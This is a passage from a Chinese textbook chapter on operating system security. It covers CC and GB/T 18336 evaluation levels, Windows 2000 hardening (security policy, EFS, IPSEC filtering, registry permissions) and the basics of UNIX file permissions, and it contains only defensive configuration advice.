CC 是国际标准化组织统一现有多种准则的结果，是目前最全面的评价准则。1996年6月，CC第一版发布；1998年5月，CC第二版发布；1999年10月CC V2.1版发布，并且成为ISO标准。CC的主要思想和框架都取自ITSEC和FC，并充分突出了“保护轮廓”概念。CC将评估过程划分为功能和保证两部分，评估等级分为EAL1、EAL2、EAL3、EAL4、EAL5、EAL6和EAL7共7个等级。每一级均需评估 7个功能类，分别是配置管理、分发和操作、开发过程、指导文献、生命期的技术支持、测试和脆弱性评估。


4.1.3 国内的安全操作系统评估


为了适应信息安全发展的需要，我国也制定了计算机信息系统等级划分准则。这一准则，借鉴了国际上的一系列有关标准，对于发展我国自主产权的安全操作系统，有着重要的意义。

我国将操作系统分成五个级别，分别是用户自主保护级、系统审计保护级、安全标记保护级、结构化保护级、访问验证保护级。这五个级别区别如表4.1所示。


表4.1 操作系统安全级别
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1.自主访问控制

计算机信息系统可信计算基定义和控制系统中命名用户对命名客体的访问。实施机制（例如：访问控制表）允许命名用户以用户和（或）用户组的身份规定并控制客体的共享；阻止非授权用户读取敏感信息，并控制访问权限扩散。自主访问控制机制根据用户指定方式或默认方式，阻止非授权用户访问客体。访问控制的粒度是单个用户。没有存取权的用户只允许由授权用户指定对客体的访问权。

2.身份鉴别

计算机信息系统可信计算基初始执行时，首先要求用户标识自己的身份，并使用保护机制（例如：口令）来鉴别用户的身份；阻止非授权用户访问用户身份鉴别数据。通过为用户提供惟一标识、计算机信息系统可信计算基能够使用户对自己的行为负责。计算机信息系统可信计算基还具备将身份标识与该用户所有可审计行为相关联的能力。

3.客体重用

在计算机信息系统可信计算基的空闲存储客体空间中，对客体初始指定、分配或再分配一个主体之前，撤销该客体所含信息的所有授权。当主体获得对一个已被释放的客体的访问权时，当前主体不能获得原主体活动所产生的任何信息。

4.审计

计算机信息系统可信计算基能创建和维护受保护客体的访问审计跟踪记录，并能阻止非授权的用户对它访问或破坏。

计算机信息系统可信计算基能记录下述事件：使用身份鉴别机制；将客体引入用户地址空间（例如：打开文件、程序初始化）；删除客体；由操作员、系统管理员或（和）系统安全管理员实施的动作，以及其他与系统安全有关的事件。对于每一事件，其审计记录包括：事件的日期和时间、用户、事件类型、事件是否成功。对于身份鉴别事件，审计记录包含的来源（例如：终端标识符）；对于客体引入用户地址空间的事件及客体删除事件，审计记录包含客体名。

对不能由计算机信息系统可信计算基独立分辨的审计事件，审计机制提供审计记录接口，可由授权主体调用。这些审计记录区别于计算机信息系统可信计算基独立分辨的审计记录。

5.数据完整性

计算机信息系统可信计算基通过自主和强制完整性策略。阻止非授权用户修改或破坏敏感信息。在网络环境中，使用完整性敏感标记来确信信息在传送中未受损。

6.强制访问控制

计算机信息系统可信计算基对所有主体及其所控制的客体（例如：进程、文件、段、设备）实施强制访问控制。为这些主体及客体指定敏感标记，这些标记是等级分类和非等级类别的组合，它们是实施强制访问控制的依据。计算机信息系统可信计算基支持两种或两种以上成分组成的安全级。计算机信息系统可信计算基控制的所有主体对客体的访问应满足：仅当主体安全级中的等级分类高于或等于客体安全级中的等级分类，且主体安全级中的非等级类别包含了客体安全级中的全部非等级类别，主体才能读客体；仅当主体安全级中的等级分类低于或等于客体安全级中的等级分类，且主体安全级中的非等级类别包含了客体安全级中的非等级类别，主体才能写一个客体。计算机信息系统可信计算基使用身份和鉴别数据，鉴别用户的身份，并保证用户创建的计算机信息系统可信计算基外部主体的安全级和授权受该用户的安全级和授权的控制。

7.标记

计算机信息系统可信计算基应维护与主体及其控制的存储客体（例如：进程、文件、段、设备）相关的敏感标记。这些标记是实施强制访问的基础。为了输入未加安全标记的数据，计算机信息系统可信计算基向授权用户要求并接受这些数据的安全级别，且可由计算机信息系统可信计算基审计。

8.隐蔽信道分析

系统开发者应彻底搜索隐蔽存储信道，并根据实际测量或工程估算确定每一个被标识信道的最大带宽。

9.可信路径

当连接用户时（如注册、更改主体安全级），计算机信息系统可信计算基提供它与用户之间的可信通信路径。可信路径上的通信只能由该用户或计算机信息系统可信计算基激活，且在逻辑上与其他路径上的通信相隔离，且能正确地加以区分。

10.可信恢复

计算机信息系统可信计算基提供过程和机制，保证计算机信息系统失效或中断后，可以进行不损害任何安全保护性能的恢复。

在该规定中，级别从低到高，每一级都将实现上一级的所有功能，并且有所增加。第一级是用户自主保护级，在该级中，计算机信息系统可信计算基通过隔离用户与数据，使用户具备自主安全保护的能力。它具有多种形式的控制能力，对用户实施访问控制，即为用户提供可行的手段，保护用户和用户组信息，避免其他用户对数据的非法读写与破坏。系统审计保护级与用户自主保护级相比，计算机信息系统的可信计算基实施了粒度更细的自主访问控制，它通过登录规程、审计安全性相关事件和隔离资源，使用户对自己的行为负责。安全标记保护级的计算机信息系统可信计算基具有系统审计保护级所有功能。此外，还提供有关安全策略模型、数据标记以及主体对客体强制访问控制的非形式化描述；具有准确地标记输出信息的能力；消除通过测试发现的任何错误。通常意义上的安全操作系统，其最低级别即是第三级，日常所见的操作系统，则以第一级和第二级为主。四级以上的操作系统，与前三级有着很大的区别，四级和五级操作系统，必须建立于一个明确定义的形式化安全策略模型之上，此外，还要考虑隐蔽通道。在第四级结构化保护级中，要求将第三级系统中的自主和强制访问控制扩展到所有主体与客体。本级的计算机信息系统可信计算基必须结构化为关键保护元素和非关键保护元素。计算机信息系统可信计算基的接口也必须明确定义，使其设计与实现能经受更充分的测试和更完整的复审。加强了鉴别机制；支持系统管理员和操作员的职能；提供可信设施管理；增强了配置管理控制。这样的系统具有相当的抗渗透能力。第五级访问验证保护级的计算机信息系统可信计算基满足访问监控器需求。访问监控器仲裁主体对客体的全部访问。访问监控器本身是抗篡改的；必须足够小，能够分析和测试。为了满足访问监控器需求，计算机信息系统可信计算基在其构造时，排除那些对实施安全策略来说并非必要的代码；在设计和实现时，从系统工程角度将其复杂性降低到最小程度。支持安全管理员职能；扩充审计机制，当发生与安全相关的事件时发出信号；提供系统恢复机制。系统具有很高的抗渗透能力。

从以上的介绍中可以看出，我国这一标准类似于美国的TCSEC。相应的等级也有一定的对应关系，只是在级别的划分上更为简练和科学。随着CC标准的不断普及，我国也在2001年发布了的GB/T 18336标准，这一标准等同采用ISO/IEC 15408-3：1999《信息技术 安全技术 信息技术安全性评估准则》。在该标准中，主要提供了保护轮廓和安全目标。评估保证级（EAL）提供了一个递增的尺度，该尺度的确定权衡了所获得的保证基于以及达到该保证程度所需要的代价和可行性。GB/T 18336方法确定了在评估结束时TOE保证的几个不同概念，以及在TOE运行使用过程进行维护的几个不同概念。

表4.2概括性地描述了几个EAL。其中列表示的是一组按级排序的EAL，行表示的是保证子类。在结果矩阵中的每一个数字都表示了此处适宜的一个具体保证组件。


表4.2 EAL以及对应的保证组件
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续表
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在GB/T 18336中对TOE的保证登记定义了7个按等级排序的评估保证级。它们按级别排序，因为每一个EAL要比所有较低的EAL表达更多的保证。从EAL到EAL的保证不断增加，靠替换成统一保证子类中的一个更高级别的保证组件（即增加严格性、范围或深度）和添加另外一个保证子类的保证组件（例如，添加新的要求）得以实现。我们可以看到，该标准中对于级别的划分更多的在于通用性质和级别的判定，而所依据的划分因素也要广泛得多，甚至包含了安全开发和脆弱性分析等因素，因此CC标准通常能够提供更为严密的保障。

以上我们介绍了计算级系统安全评估的一些基本概念。操作系统的安全性能的一个重要的指标就是其安全级别。通常来说，更高安全级别的操作系统在同样情况下能够提供更大的安全保障和功能配置。下面，我们将讨论影响操作系统安全性能的另外一个重要因素，即操作系统实现和配置中产生的安全隐患。


4.1.4 操作系统的安全配置


操作系统安全配置主要是指这样三个方面，即操作系统访问控制权限的恰当设置、系统的及时更新，以及对于攻击的防范。所谓操作系统访问控制权限的恰当设置，主要是指利用操作系统的访问控制功能，为用户和文件系统建立恰当的访问权限控制。由于目前所流行的操作系统，绝大多数是用户自主级访问控制，因此对于用户和重要文件的访问权限控制是否得当，直接影响了系统的安全稳定和信息的完整保密。不同的系统，其安全设置通常有所区别，我们将在以下两节中重点介绍Windows系统和几种常见UNIX/LINUX的访问权限控制。

攻击的防范，主要是指对于各种可能的攻击，比如说利用系统缓冲区溢出的缺陷来攻击系统，或者利用TCP/IP缺陷来进行拒绝服务式攻击，进行恰当合理的预先防范。目前，随着利用操作系统安全缺陷进行攻击的方法的不断出现，操作系统和TCP/IP缺陷逐渐成为系统安全防护的一个重要内容。在不影响正常的系统功能和网络功能的基础上，进行安全防范，也是以后两节的重要内容。

随时更新操作系统，是系统安全管理的一个重要方面。及时地更新系统后，会使整个系统的安全性能、稳定性能、易用性能得到大幅度提高。一般说来，目前绝大多数操作系统，都有自己的系统更新网站，只要操作系统定期访问该网站或者订阅该操作系统的邮件列表，那么发现新的安全缺陷后，就可以很快地采取应对措施。以下列表中，我们列举了一些操作系统的更新网点以及方法，便于大家的使用。

（1）BSD/OS

补丁下载：http://www.bsdi.com/services/support/patches/

安全公告：http://www.bsdi.com/services/support/

（2）FreeBSD

补丁下载：

ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386

ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha

安全公告：http://www.freebsd.org/security/

（3）NetBSD

补丁下载：http://www.netbsd.org/Security/

安全公告：http://www.netbsd.org/Security/

（4）OpenBSD

补丁下载：ftp://ftp.openbsd.org/pub/OpenBSD/patches/

安全公告：http://openbsd.org/errata.html

（5）Caldera OpenLinux

补丁下载：ftp://ftp.calderasystems.com/pub/updates/OpenLinux/

安全公告：http://www.calderasystems.com/support/security/

（6）Debian GNU/Linux

相关信息：http://www.debian.org/security/

（7）Mandrake Linux

相关信息：http://www.linux-mandrake.com/en/security/

（8）RedHat Linux

相关信息：http://www.redhat.com/support/errata/

（9）Slackware Linux

补丁下载：

ftp://ftp.slackware.com/pub/slackware/

ftp://ftp.slackware.com/pub/slackware/slackware-current/

安全公告：

http://www.slackware.com/lists/

http://www.slackware.com/changelog/

（10）SuSE Linux

相关信息：http://www.suse.com/us/support/security/index.html

（11）TurboLinux

相关信息：http://www.turbolinux.com/security/

（12）Solaris

补丁下载：

ftp://sunsolve1.sun.com/pub/patches/

http://sunsolve1.sun.com/

（13）IRIX

补丁下载：http://www.sgi.com/support/security/

安全公告：http://www.sgi.com/support/security/advisories.html

（14）Hewlett Packard UNIX (HP-UX)

补丁下载：http://us-support.external.hp.com/

（15）Digital/Compaq Tru64 UNIX

补丁下载：http://ftp.support.compaq.com/patches/.new/unix.shtml

（16）AIX

补丁下载：http://techsupport.services.ibm.com/rs6000/fixes

安全公告：http://techsupport.services.ibm.com/rs6000/notification

（17）Windows 98/NT/2000/me/xp

可以访问http://windowsupdate.microsoft.com/产品更新以获取系统应该打的补丁。

在以后的两节中，我们将重点介绍Windows 2000操作系统和Linux、Solaris操作系统的安全防护。之所以选择这三种操作系统，是因为根据统计表明，这三种操作系统所面临的安全攻击比例最大。另外，目前互联网络上的服务器系统，这三种的总和也占绝大多数。对于每种操作系统，我们将首先介绍其安全设计性能，然后再介绍该种服务器的安全配置和管理。


4.2 Windows系统安全防护



4.2.1 Windows 2000操作系统安全性能简介


本节中主要介绍 Windows 2000 操作系统的安全防护。Windows 2000 的前身，即Microsoft® Windows NT® 3.5 和 Windows NT® 4.0是TCSEC 和ITSEC的 C2 级操作系统。1998年年末，美国和其他一些国家政府又采用了新的安全评估方案，称为“通用标准”。通用标准取代了TCSEC和ITSEC 程序。Microsoft Windows® 2000及其后续版本都将在“通用标准”下接受评估。为了进行安全产品的有效评估，美国NCSC制定了“控制访问保护配置文件（CAPP）”来取代TCSEC C2评估要求。CAPP为信息技术（IT）产品规定了一套安全功能和保证要求。符合CAPP要求的产品支持能够对特定用户和数据对象强制实行访问限制的访问控制。符合CAPP要求的产品还提供了审核功能，用于记录系统内发生的安全相关事件。编写 CAPP 是为了允许分布式操作系统（即在网络化配置中）接受 CAPP 评估。CAPP可从以下位置得到：

http://www.radium.ncsc.mil/tpep/library/protection_profiles/CAPP-1.d.pdf。CAPP 描述了与TCSEC C2 类要求等价的安全功能和保证。

Microsoft已经承诺让Windows 2000接受网络操作系统“通用标准”的评估。该项评估程序所评估的配置包括：基于Windows 2000 Professional的工作站、运行Windows 2000 Server和Windows 2000 Advanced Server 的服务器、基于 Windows 2000 的域控制器（它包括并采用Windows 2000 目录服务、IPSEC服务、加密文件系统（EFS）和恢复服务，以及基于域的策略管理）。目前Microsoft Windows 2000正处于评估阶段。

Windows 2000在安全上的新特性，主要包括这样几个方面。一个是安全模板的引入，使组织的网络的安全性设置的管理及设置更容易，Microsoft Management Console（MMC）管理单元允许管理员定义标准模板并将它以同样的方式应用于多个计算机或用户。另外，文件系统的访问控制更加颗粒化，加密文件系统（EFS）为数据安全提供了更好的保证。以下我们将简要介绍这几个特性。

安全模板是安全配置的实际体现；换句话说，它是一个可以存储一组安全设置的文件。Windows 2000 包含一组标准安全模板，每个模板分别适合一台计算机的角色：模板适用的范围从低安全性域客户端的安全性设置到高安全性域控制器的安全性设置皆可。这些模板可以用于提供、修改，也可以被当作创建自定义安全模板的基础。“安全配置”和“分析”工具是“安全模板”管理单元所附带的。它用于将定义在安全模板中的限制应用到实际系统中。它还可用于分析系统的安全性并与计算机上已经部署好的设置进行比较以确保它们符合公司标准。

对于NTFS文件系统，Windows 2000允许更加颗粒化的访问权限控制（已经成为fat32的文件系统，可以使用convert命令将其转变为NTFS文件系统，命令格式为：convert volume/fs:ntfs）。对于NTFS可以通过如下方式设置更为颗粒化的访问权限控制和审计策略。在文件属性的安全/高级项中，可以对文件的遍历/运行、列表/读取、读取属性、读取扩展属性、创建文件/写入数据、创建文件夹/附加数据、写入属性、写入扩展属性、删除子文件夹及文件、删除、读取权限、更改权限、取得所有权等访问权限进行一一设置访问权限或进行审计记录。这样大大提高了文件访问控制的颗粒性和灵活性。

除此之外，Windows 2000 加密文件系统（EFS）可以对本地存储数据的安全保密提供更多的保障。EFS 可以对本地计算机上指定的文件或文件夹进行加密，这样未经授权的人就无法读取这些文件。EFS 对保护可能被偷窃的计算机（如膝上型计算机）上的数据特别有用。可在膝上型计算机上配置 EFS 以确保用户的文档文件夹中的所有商业信息均被加密。

当对NTFS文件系统（NTFS）卷上的文件或文件夹启用 EFS时，操作系统会使用公钥和通过CryptoAPI取得的对称加密算法来加密文件。虽然基本机制很复杂，但管理员和用户只需在“高级属性”对话框（通过“文件属性”对话框访问）中选中一个复选框就可以利用额外安全性。这样，EFS在保存文件时自动对其进行加密，并且在用户再次打开文件时解密。除了加密文件的人和具有 EFS 文件恢复证书的管理员以外，没有人可以读取这些文件。由于加密机制已经内置于文件系统中，因此它的操作对用户是透明的而且很难被侵犯。

EFS 使用对每个文件都各不相同的对称加密密钥对文件进行加密。然后它还要使用来自文件拥有者的 EFS 证书的公钥对加密密钥进行加密。由于文件拥有者是惟一能够访问私钥的人，因此他是惟一能为密钥、从而为文件解密的人。即使有人想绕过 EFS 并使用低阶磁盘实用程序尝试读取信息，加密功能还是可以保护文件。即使文件在网络上或实体上被偷，如果不先以适当的用户身份登录到网络，也无法解密文件。既然文件不能被读取，它也不可能被暗中修改。

在发生紧急事件时，可以启用EFS的紧急恢复机制。在使用 EFS 时，会创建单独的恢复密钥。系统会自动完成这项任务，即用管理员的 EFS 文件恢复证书的公钥对原始加密密钥进行加密。管理员可以使用该证书中的私钥来恢复文件（若有此需要）。

以上我们简要介绍了 Windows 2000 操作系统的一些显著安全特性，以下我们将就Windows 2000操作系统的安全防护和配置，进行更为详细的论述。


4.2.2 Windows 2000安全配置


如果希望建设一个安全的Windows 2000系统的话，最好不要从一个原有的操作系统（如Windows NT）升级安装，因为这样会将原有操作系统的一些潜在问题引入到新的系统中。重新安装不仅可以避免由于已有的应用程序所带来的不安全隐患，而且也可以避免注册表等一些容易导致问题的因素。在安装过程中，如果可能的话，尽量选择使用NTFS文件系统。这是因为NTFS文件系统提供了尽可能的安全性能。

如果无法进行从头开始配置，那么可以先将本地安全策略设置为刚安装时的值。具体办法为使用管理工具中的本地安全策略设置工具，如果该 Windows 2000系统为域服务器，则应该使用winnt\security\templates\下的setup security.inf配置文件。该目录下面同时还有其他一些政策描述文件，比如说对于高安全级别的 hisecws.inf，也可以参考这些文件进行安全设置。一旦完成了这些，那么就可以根据需要来配置 Windows 2000服务器了。我们将分成如下几个部分讨论Windows 2000的安全配置：即本地安全策略配置、网络和TCP/IP配置，以及注册表的安全配置。首先我们讨论利用“本地安全策略”工具进行系统安全配置。

1.本地安全策略配置

打开控制面板、管理工具、本地安全策略，即可配置本地安全策略，见图4.1。本地安全策略的设置包括三大部分，即账户策略，本地策略，以及公钥策略。我们主要介绍账户策略和本地策略。有关到公钥策略的部分，我们将在网络和服务设置中进行论述。首先我们介绍账户策略的安全配置。

缺省情况下，Windows 2000使用SYSKEY来加密本地安全账户管理器（SAM），这就是SYSkey的应用。可以运行syskey来激活这一选择。不过，有一个问题就是syskey用来解密的密钥也存在注册表中。为了避免这个问题，在启动syskey命令后选择更新，就可以选择是将这一密码存放在软盘上或者是需要人工输入。如果选择人工输入的话，那么每次系统启动都需要人工输入密码后才可以，因此可能只有那些对安全十分敏感的站点才有必要选择这一安全选项。


图4.1 本地安全策略配置



本地安全策略中账户策略的配置分成两个方面，一个是密码策略，密码策略中可以设置是否密码必须符合复杂性要求、密码的最小长度、密码的最长存留期、密码的最短存留期以及强制密码历史等选项。另一个是账户锁定策略，主要配置账户在何种情况下进行自动锁定，用于对抗密码破解式的攻击手段。在表 4.3 中，我们针对其中配置的各项，解释其具体意义并推荐恰当的配置值。


表4.3 账户策略的配置
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续表
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本地策略被分成三个方面，即审核策略、用户权力指派、安全选项。设置正确的审核策略因站点的安全需求不同而异，典型的推荐值如表 4.4 所示。在设置审核策略的时候，还应当注意是否有足够的审核日志记录空间。如果空间不足，则很有可能会引起审核失败。在有的系统上，审核失败会导致系统的停机，因此应当格外注意。


表4.4 设置正确的审核策略
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用户权力指派：请参考表 4.5 以得到在系统上哪些用户有什么权限的列表。从而确认用户和组的权限设置正确。也可以根据自己的需要，调整推荐的用户权力指定。


表4.5 用户权力指派配置
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续表
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续表
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安全选项：确保以下的安全选项进行了恰当的配置，表4.6是一个这些配置的推荐列表。


表4.6 安全选项配置
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续表
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续表
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续表
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2.网络和TCP/IP配置

作为目前操作系统的一个重要组成部分，网络和TCP/IP的安全配置意义格外重要。这是因为目前来说，网络安全防范的主要内容是防范来自于网络上的入侵和攻击。网络和TCP/IP配置有三个重要内容，一个是服务的配置，一个是TCP/IP过滤，另外一个是IPSEC的配置。我们下面依次介绍这三个方面的配置方法。

可以通过Windows 2000当中的服务管理工具来配置各个服务情况。可以通过控制面板、管理工具、服务来进行管理。在停止一个服务时，应当先查看该服务是否依赖于其他服务以及是否还有服务依赖于该服务。如果还有其他服务依赖于该服务的话，那么应该先停掉那些服务。通过服务管理工具，可以配置各个服务的启动类型，可选项有三种：“自动”、“手动”、“已禁用”。我们通常对服务的配置主要是配置是否启动该项服务。在禁用一项服务的时候，首先双击该项服务，出现如图 4.2 所示的窗口，然后同时进行两项操作，一项是将这个服务的启动类型设置为禁止，而另外一项则是将这个服务停止。

对于一个安全程度为中到高的 Windows 2000 系统，通常如下服务是运行的，而其中带有*号的则是必须的：DNS Client*、EventLog*、IPSEC Policy Agent、Logical Disk Manager*、Network Connections Manager、Plug ＆ Play*、Protected Storage*、Remote Procedure Call、Remote Registry Service、RunAs Service、Security Accounts Manager*。

对于域服务器，通常还需要如下服务：DNS Server、File Replication Service、Kerberos Key Distribution Center、Net Logon、NT LM Service Provider、RPC Locator、Windows Time。

如果需要使用微软网络工具共享资源，那么还需要以下这些服务：Server（when sharing resources）、Workstation（when connecting to resources）。

另外一个对保障网络安全很有帮助的就是进行TCP/IP过滤。有两种方法可以完成TCP/IP过滤，一种方法就是使用网络配置当中的高级选项，另外一种方法是使用IPSEC，后者虽然要比前者配置复杂得多，但完成的功能也要多得多。我们首先介绍简单 TCP/IP 过滤。简单TCP/IP 配置项出现在网络和拨号连接当中的本地连接、属性、Internet 协议属性、高级、选项、TCP/IP筛选选项中。启用TCP/IP筛选（见图4.3）后，即可进行配置。


图4.2 服务管理




图4.3 TCP/IP筛选配置



使用这一配置可以在本系统中定制自己的访问控制，因此通常用于那些为外部提供特定服务的服务器系统。部署TCP/IP筛选最大的困难在于端口的选择，因为并不是所有的服务都只有一个特定的端口。比如说为了使用ftp服务，客户端需要本系统接受源端口为20的目的端口超过1024的端口的连接，ftp服务器则使用21端口和大于1024的端口，而rpc服务器所使用的端口更为复杂。这些都妨碍了TCP/IP筛选的应用。


图4.4 筛选规则配置



事实上，还可以利用IPSEC来进行TCP/IP过滤。Windows 2000中IPSEC的一个有趣的现象就是，即使没有使用VPN和IPSEC，也可以利用IPSEC进行普通TCP/IP连接的过滤。通过本地安全设置、“IP安全侧略，在本地机器”中根据不同的策略，选择不同的 IPSEC过滤。然后在“安全服务器（要求安全设置）”窗口中添加新的规则。在新的规则中就可以设置“IP 筛选器列表”，从而添加新的筛选规则，如图 4.4所示。然后在TCP/IP的属性、高级、选项、IP安全中设置网卡的绑定。值得注意的是，通过IPSEC过滤器的设置，可以设置非IPSEC数据包的过滤，而且这种过滤设置提供了比TCP/IP筛选更多的功能，可以根据IP地址、所使用的协议、IP子网、一个DNS域来进行过滤。当然，IPSEC更大的功能在于建立基于IPSEC的VPN，从而更大程度地保护数据的保密性。

下面介绍IPSEC过滤。

VPN的安全性一直是让所有网络产品提供商头痛的问题。要模拟一个专用连接，应将数据进行可靠的加密，使他人即使在共享或公共网络上截获到数据包，如果没有密钥也无法破解。只有对数据进行封装和加密的连接才是一个真正的 VPN连接，而Windows2000 系列产品很好地做到这一点：它除了支持Microsoft和其他厂家共推的对等通道协议PPTP（它提供PPTP客户机与PPTP服务器之间的加密通信，允许公司使用专用的“隧道”，通过公共Internet来扩展公司的网络）这种目前最普通的标准之外，还支持下列两种用来创建VPN 的更安全的新方法：

L2TP－Layer2 Tunneling Protoco 第二层隧道协议。Cisco 提出的 L2F（Layer2 Forwarding）是另一个隧道协议。Microsoft、Cisco 和其他一些网络厂商正一起努力使L2F与PPTP融合，产生一个新的L2TP协议。PPTP和L2TP十分相似，因为L2TP有一部分就是采用PPTP协议，两个协议都允许客户通过其间的网络建立隧道，L2TP还支持信道认证，但它没有规定信道保护的方法。

IPSEC－Internet Portocol Security因特网协议安全。Microsoft承诺Windows 2000支持L2TP 和 IPSEC。IPSEC 是由 IP 安全性工作组定义的协议集，它提供了最高级别的VPN 安全协议。有了 IPSEC，就可以对网络层的每一项内容进行加密，确保网络层之间的安全通信。

设计VPN必须考虑远程访问策略，它允许网络管理员更灵活地设置远程访问权限和连接权限。利用远程访问策略，可以强化VPN的用户使用授权和加密功能，对拨号用户使用另一套强制授权和加密。

运行Windows 2000 Server 或Windows NT4 Server的计算机通过路由和远程访问服务（RAS），可以与运行Windows 2000的VPN服务器建立路由器对路由器的VPN连接，VPN客户机也可以是任何非Microsoft产品，只要是支持PPTP或L2TP协议的客户机。

在有些情况下，企业内部网的有些局域网对安全性的要求极高，如公司的开发中心、财务部，此时可以在安全性要求高的局域网内设立一个VPN服务器，与整个企业内部网的其他部分相连。Windows 2000 Professional中的网络连接向导统一了以往创建网络连接的全部过程，它引导用户完成实际创建各种网络连接的各个步骤，使这种连接变得简单方便。具体设置，根据所选取的IPSEC策略不同，通过本地安全设置、“IP安全侧略，在本地机器”中根据不同的策略，选择不同的 IPSEC 过滤并在“安全服务器（要求安全设置）”窗口中添加新的规则，然后在TCP/IP的属性、高级、选项、IP安全中设置网卡的绑定。

3.通过修改注册表使系统更加强壮

注册表实际上是一个庞大的数据库，其中容纳了应用程序和计算机系统的全部配置信息、中文Windows 2000系统和应用程序的初始化信息、应用程序和文档文件的关联信息、硬件设备的说明、状态和属性以及各种状态信息和数据等。它在系统的启动、运行和操作过程中起着重要的作用。管理注册表的方法有很多，一般可以采用“注册表编辑器”直接修改、修改“控制面板”中的配置图标、用户安装新的驱动程序和应用程序、使用“系统策略编辑器”和使用注册表修改工具等方法。

Windows 2000提供了两种注册表编辑程序，一个是16位的regedit，另一个是 32位的regedit32，regedit是从原来的Windows 95/98继承下来的，虽然简单易用，但功能相对有限，支持的数据类型只有两种，字符串及二进制类型。32 位的注册表编辑器 regedit32 是专门为windows 2000系统设计的注册表修改工具，位于%windir%\system32\文件夹中，界面和功能都要强大得多。

对于注册表的安全，通常指两个方面，一个方面是对于注册表本身的访问权限设置，另一个方面是通过修改注册表的值达到使系统更安全的目的。以下我们将依次介绍这两个方面。首先介绍更改注册表本身的访问权限。

更改注册表本身的访问权限控制，可以避免一些恶意用户或者恶意代码通过修改注册表来降低系统的安全级别。比如说红色蠕虫即通过修改注册表来隐藏自己和留下后门。注册表访问权限的修改，只能通过regedit32来进行，regedit不具有这个功能。修改权限时，首先运行regedit32程序，选定要修改的主键或者子键，鼠标左键点击菜单中的“安全”项，在下拉菜单中选择“权限...”命令项，在对话框中默认显示的安全权限分为几种，而且不同的键值，权限也有所不同。缺省情况下，绝大多数注册表项已经进行了安全的权限控制，但也有一部分允许其他或者匿名用户的访问。事实上，对于除了系统管理员 Administrator，Power User等系统用户外的其他用户，只有System\CurrentControlSet\Control\ProductOptions项是应该可以被访问的。其他的项，一般都不需要普通用户访问。当用户打开这些项的访问权限时，应当尤其注意匿名用户的访问权限。

以上我们论述了通过合理配置 Windows 2000 系统，使系统在访问控制、审计上具有更安全的特性。利用修改注册表的一些项，还可以进一步提高系统安全水平。为了抵抗拒绝服务式攻击，保障系统的可用性，可以通过修改：HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters 中的一些项的设置来提高系统的安全稳定性，如图4.7所示。


表4.7 注册表安全配置选项
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此外，还可以通过注册表的修改来进行“本地安全设置”当中没有提供的一些访问权限设置，表4.8列举了常见的几项。


表4.8 修改注册表以进行访问权限设置
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以上我们简要介绍了 Windows 2000 操作系统安全维护上面的一些重要方面，Windows 2000的安全维护方面，相应的配置和技巧还有很多，在此我们就不一一详述了。但是无论进行了多么安全的配置，也仍然会由于时间的变化，不断产生新的安全问题。因此对于系统安全防护来说，日常管理与维护尤其重要，包括日常维护政策、操作系统的更新、专人负责、应急响应等方面的政策，都会对系统的安全有重要的意义。系统安全防护是一个长期的工作，而非简单的一次性活动。安全管理政策方面涵盖面很多，在此我们只是介绍最重要的几项：

安装反病毒软件，及时更新病毒数据库。一些杀毒软件具有自动更新病毒数据库的特征，这个性能对于方便维护站点安全来说是很重要的。有关更多的杀毒软件方面的介绍，请参考

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/virus/virus.asp。

安装最新的service pack。可以访问http://windowsupdate.microsoft.com/ 站点的检查更新来检查系统是否需要打最新的service pack。同时，Microsoft还提供了一个“Windows重要更新通知”的软件，当 Windows 2000系统需要安装最新的补丁程序时，只要系统联网，那么重要更新通知则会弹出提示。这些软件，都可以从windowsupdate上面免费获取。

定期检查文件共享。往往会有这种情况，用户并不知道自己的一些文件夹已经被缺省共享出去。定期地检查对于有效地进行系统安全防护来说是很重要的。

通过这些维护措施，可以对Windows 2000系统进行有效的保护。


4.3 UNIX/LINUX系统安全防护


UNIX 已有数十年的历史，在这期间，已经有了巨大的变化，出现了各种各样的不同的版本，应用面从微型嵌入式系统到超级计算机上。无可争论，没有两个实际的UNIX操作系统是完全相同的。

“UNIX”一词是属于Open Group的一个商标，该组织是一个要求符号得到正确归属的国际协会。在这数十年当中，该标识已经被冲淡到没有具体含义。虽然如此，Open Group仍发布了“The Single UNIX Specification”，这可以在http://www.UNIX-systems.org/online.html上看到。

“Unix”是双关语，表示名字Multics，它最初被写作“Unics”，表示UNiplexed Information and Computing System。“Unix”和“UNIX”在如今都被广泛使用。曾经有一段时间，Dennis Ritchie试图宣布用小写版本，因为“UNIX”不是开头字母组成。

许多运行Linux等类似UNIX系统的人认为他们运行的是UNIX。正式UNIX系统和非正式UNIX系统通常被认为属于一类——不论是书中、媒介、网上还是社会公认。

按照UNIX FAQ的定义，UNIX是“一个用C语言编写的操作系统，它有层次文件系统并集成了文件和设备I/O，其系统调用接口包括fork ( )和pipe ( )等服务，用户界面包括cc、troff、grep、awk等工具和一个被选择的 shell”。UNIX为多任务提供一致的方式，并内置有创建、同步和终止进程的操作，它可在不同种类计算机间进行移植。

由于UNIX的分支相当之复杂，因此本节中远远不能完整地论述各种UNIX安全配置。在本节中，我们重点介绍以下三个方面，即一般UNIX的安全配置，主要针对各种UNIX系统所共同的安全配置选项；然后将重点介绍Solaris和Linux操作系统安全管理和配置。

对于一般的UNIX系统，文件系统安全是其中重要的一部分。文件系统是UNIX系统安全的核心。在UNIX中，所有的对象都是文件。UNIX中的基本文件类型有正规文件、目录、特殊文件、链接、套接字、字符设备等。这些不同类型的文件以一个分层的树结构进行组织，以一个叫“root”的目录为起始位置（“/”）。整个就是一个文件系统。每个文件对应一个“i”节点，“i节点”包括UID（文件拥有者）、GID（文件所在组）、模式（文件的权限）、文件大小、文件类型、ctime（“i节点”上次修改时间）、mtime（文件上次修改时间）、atime（文件上次访问时间）、nlink（链接数）以及访问权限。这些属性构成了文件的基本属性。其中，文件权限是 unix 文件系统安全的关键。Unix 中的每个用户有一个惟一的用户名和 UID（用户ID号），每个用户属于一个或多个组。基本分组成员在/etc/passwd中定义，附加的分组成员在/etc/group中定义。例如，用户tiger的UID为225，分组为11（students），此外，他还是分组185（postgraduates）的成员。每个文件和目录有三组权限，一组是文件的拥有者、一组是文件所属组的成员、一组是其他所有用户。“r”表示可读，“w”表示可写，“x”表示可执行。一共9位（每组3位），合起来称为模式位（mode bits）。模式位通常由一列10个字符来表示，每个字符表示一个模式设置，第一个指明文件类型如d表示目录，-表示普通文件，l表示链接文件等。可以用chmod和umask命令来改变权限。

